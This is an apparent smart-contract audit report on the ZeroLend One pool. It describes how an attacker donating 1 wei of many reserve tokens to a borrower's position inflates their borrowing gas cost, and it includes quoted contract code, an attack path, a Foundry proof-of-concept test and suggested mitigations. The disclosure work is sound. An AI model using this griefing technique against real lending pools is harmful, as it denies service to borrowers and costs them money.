Shiny Seaweed Mongoose

Medium

# Borrower can be griefed with a donation of 1 wei to their position

### Summary

The maximum number of reserve tokens that a pool can have is 128. Before borrowing the reserve list is looped through, only the ones used as collateral are used to calculate the user's position (This costs about 14k gas).
The problem here is that anyone can supply to a position and the first supply to the position makes it to be used as collateral (That is an extra 14k in gas). Also, there is no restriction to the amount supplied to a position so an attacker can do this with one wei donation to the position.

### Root Cause


Looking at the supply function we can see that it can be called by anyone with any amount even 1 wei.

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/Pool.sol#L78C1-L80C4

```js
function supplySimple(address asset, address to, uint256 amount, uint256 index) public returns (DataTypes.SharesType memory) {
    return _supply(asset, amount, to.getPositionId(index), DataTypes.ExtraData({interestRateData: '', hookData: ''}));
  }
```

Looking at the executeSupply function we can see that the first deposit if a particular token enables it to be use as collateral.

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/SupplyLogic.sol#L58

```js
  function executeSupply(
    DataTypes.ReserveData storage reserve,
    DataTypes.UserConfigurationMap storage userConfig,
    DataTypes.PositionBalance storage balance,
    DataTypes.ReserveSupplies storage totalSupplies,
    DataTypes.ExecuteSupplyParams memory params
  ) external returns (DataTypes.SharesType memory minted) {

    ...
    bool isFirst;
@-> (isFirst, minted.shares) = balance.depositCollateral(totalSupplies, params.amount, cache.nextLiquidityIndex);

    // if this is the user's first deposit, enable the reserve as collateral
    if (isFirst && ValidationLogic.validateUseAsCollateral(cache.reserveConfiguration)) {
@->   userConfig.setUsingAsCollateral(reserve.id, true);
      emit PoolEventsLib.ReserveUsedAsCollateralEnabled(params.asset, params.position);
    }

    emit PoolEventsLib.Supply(params.asset, params.position, minted.shares);

    minted.assets = params.amount;
  }
```

These two functions give an attacker the tool to grieve a borrower by spamming their position with 1 wei worth of tokens.

When this is done borrowing will cost 2848514 gas which is 6.5 USD


### Internal pre-conditions


A pool of large reserve tokens e.g. 128 reserve tokens.
A user with a legitimate borrow position and low utilization on their collateral.



### External pre-conditions

_No response_

### Attack Path

1. Alice deposits a collateral of 1000 USD.
2. She borrows 200 USD.
3. The attacker spams Alice's position with 1 wei of all the 128 reserve tokens
4. Alice tries to borrow another 200 USD but the price is now significantly higher 6.5 USD.
5. To disable all the unnecessary reserves it will cost Alice approximately (913044 * 128 / 2) = 58434816 i.e 140 USD.

### Impact

Borrowers will be griefed and discouraged from taking more loans, it is a denial of service attack.

### PoC


Add the following test to the `forge/core/pool` folder and run the test.

This is the output.

Gas Used For Borrow              : 2848527
Gas used to disable collateral   : 913044

```js

// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.19;

import './PoolSetup.sol';

import {ReserveConfiguration} from './../../../../contracts/core/pool/configuration/ReserveConfiguration.sol';

import {UserConfiguration} from './../../../../contracts/core/pool/configuration/UserConfiguration.sol';

contract GGPOC is PoolSetup {
  using UserConfiguration for DataTypes.UserConfigurationMap;
  using ReserveConfiguration for DataTypes.ReserveConfigurationMap;


  MintableERC20[] tokens;
  MockV3Aggregator[] oracles;

  uint reserveCount = 128;

  address alice = makeAddr("alice");
  address bob = makeAddr("bob");
  uint256 mintAmount =  50000 ether;
  uint256 mintAmountB = 50000 ether;
  uint256 supplyAmountA = 500 ether;
  uint256 supplyAmountB = 750 ether;
  uint256 borrowAmountB = 350 ether;

  function setUp() public {
    poolImplementation = new Pool();

    poolFactory = new PoolFactory(address(poolImplementation));
    configurator = new PoolConfigurator(address(poolFactory));

    poolFactory.setConfigurator(address(configurator));

    for (uint i = 0; i < reserveCount - 1; i++) {
        tokens.push(new MintableERC20('TOKEN A', 'TOKENA'));
        oracles.push(new MockV3Aggregator(8, 1e8));
    }

    tokens.push(new MintableERC20('WETH9', 'WETH9'));
    oracles.push(new MockV3Aggregator(6, 3000 * 1e8));

    irStrategy = new DefaultReserveInterestRateStrategy(47 * 1e25, 0, 7 * 1e25, 30 * 1e25);

    vm.label(address(poolFactory), 'PoolFactory');
    vm.label(address(irStrategy), 'irStrategy');
    vm.label(address(configurator), 'configurator');

    poolFactory.createPool(_poolInitParams());
    IPool poolAddr = poolFactory.pools(0);
    pool = IPool(address(poolAddr));

    pos = keccak256(abi.encodePacked(alice, 'index', uint256(0)));
  }

  function testGGPOC() external {

    _mintAndApprove(alice, tokens[reserveCount - 1], mintAmount, address(pool));

    //Token index 0 is the collateral
    //Token index 1 is the borrowed token
    for (uint i = 0; i < reserveCount - 1; i++) {
        //Don't mint the borrowed token for alice
        _mintAndApprove(alice, tokens[i], mintAmount, address(pool));
        vm.prank(alice);
        pool.supplySimple(address(tokens[i]), alice, (supplyAmountA / (reserveCount - 1)), 0);
        //console.log("S: ", supplyAmountA / (reserveCount - 1));
    }

    //Mint the borrowed token for bob
    _mintAndApprove(bob, tokens[1], mintAmount, address(pool));
    vm.prank(bob);
    pool.supplySimple(address(tokens[1]), bob, supplyAmountB, 0); // 750 tokenB bob supply

    vm.startPrank(alice);

    pool.supplySimple(address(tokens[reserveCount - 1]), alice, 1, 0); // send 1 weth tokenA alice supply
    uint initialGas = gasleft();
    pool.borrowSimple(address(tokens[1]), alice, borrowAmountB, 0); // 100 tokenB alice borrow
    console.log("Gas Used For Borrow              :", initialGas - gasleft());
    uint initialGas2 = gasleft();
    pool.setUserUseReserveAsCollateral(address(tokens[4]), 0, false);
    console.log("Gas used to disable collateral   :", initialGas2 - gasleft());
    vm.stopPrank();

  }

function _poolInitParams() internal view returns (DataTypes.InitPoolParams memory p) {

    (
    address[] memory assets, 
    address[] memory rateStrategyAddresses, 
    address[] memory sources, 
    DataTypes.InitReserveConfig[] memory configurationLocal 
    ) = _generateAddresses();

    address[] memory admins = new address[](1);
    admins[0] = address(this);

    p = DataTypes.InitPoolParams({
      proxyAdmin: address(this),
      revokeProxy: false,
      admins: admins,
      emergencyAdmins: new address[](0),
      riskAdmins: new address[](0),
      hook: address(0),
      assets: assets,
      rateStrategyAddresses: rateStrategyAddresses,
      sources: sources,
      configurations: configurationLocal
    });
  }


  function _generateAddresses()
    internal view returns (address[] memory, address[] memory, address[] memory, DataTypes.InitReserveConfig[] memory) {
    address[] memory assets = new address[](reserveCount);
    address[] memory rateStrategyAddresses = new address[](reserveCount);
    address[] memory sources = new address[](reserveCount);
    DataTypes.InitReserveConfig memory config = _basicConfig();
    DataTypes.InitReserveConfig[] memory configurationLocal = new DataTypes.InitReserveConfig[](reserveCount);
    for (uint i = 0; i < reserveCount; i++) {
        assets[i] = address(tokens[i]);
        rateStrategyAddresses[i] = address(irStrategy);
        sources[i] = address(oracles[i]);
        configurationLocal[i] = config;
    }
    return (assets, rateStrategyAddresses, sources, configurationLocal);
  }

}
```





### Mitigation

1. Implement a minimum supply amount.
2. Reduce the amount of collateral that can be used for a position.
